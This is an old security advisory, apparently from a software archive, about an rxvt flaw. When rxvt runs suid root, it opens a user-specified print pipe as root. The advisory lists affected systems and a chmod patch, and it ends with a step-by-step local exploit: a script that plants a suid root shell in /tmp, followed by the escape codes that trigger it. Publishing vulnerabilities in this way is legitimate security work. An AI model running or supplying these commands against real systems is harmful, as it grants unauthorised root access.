home *** CD-ROM | disk | FTP | other *** search
- There is a major security hole in rxvt, a terminal emulator for X, when it
- is run on systems suid root, as is required on many configurations in order to
- write to the utmp file. It is obvious from the code that this program was
- not written to be run suid root, its a pity that sysadmins that install the
- compiled versions of this sort of code don't see the same warnings of 'run
- suid root at your own risk' that the people that put together a distribution
- with it that way see in the makefile.
- The conditions that allow this particular hole to be exploited is rxvt
- compiled with the PRINT_PIPE option, and is running suid root. The program
- sets the pipe to "lpr", without a pathname, but its even easier than that
- to exploit because we can set the pipe to whatever we want with the -print-pipe
- option on the rxvt command line. Although the programs gives up its root
- privileges when forking to runn a shell or other command, the original program
- continues running suid root the entire execution of the program.
- Because the popen() call runs as root, whatever program that pipe opens
- will execute immediately as root. In order to start the printer pipe, the
- vt100 printer-on command is ESC[5i. The pipe can then be closed with the
- printer-off commad, ESC[4i. Exploiting this is extremely easy.
-
- Program: rxvt
- Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
- rxvt suid root (and compiled with PRINT_PIPE)
- Requirements: account on system, X server
- Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
- Security Compromise: root
- Author: Dave M. (davem@cmu.edu)
- Synopsis: rxvt fails to give up root privileges before
- opening a pipe to a program that can be specified
- by the user.
-
-
- Exploit:
- 1. Set DISPLAY environment variable if necessary so you can use x clients.
- 2. In user shell:
- $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
- $ chmod +x /tmp/rxbug
- $ rxvt -print-pipe /tmp/rxbug
- 3. In rxvt xclient:
- $ cat
- ESC[5i
- ESC[4i
- (The client will close at this point with a broken pipe)
- 4. $ /tmp/rxsh
- # whoami
- root
- #
-
-
-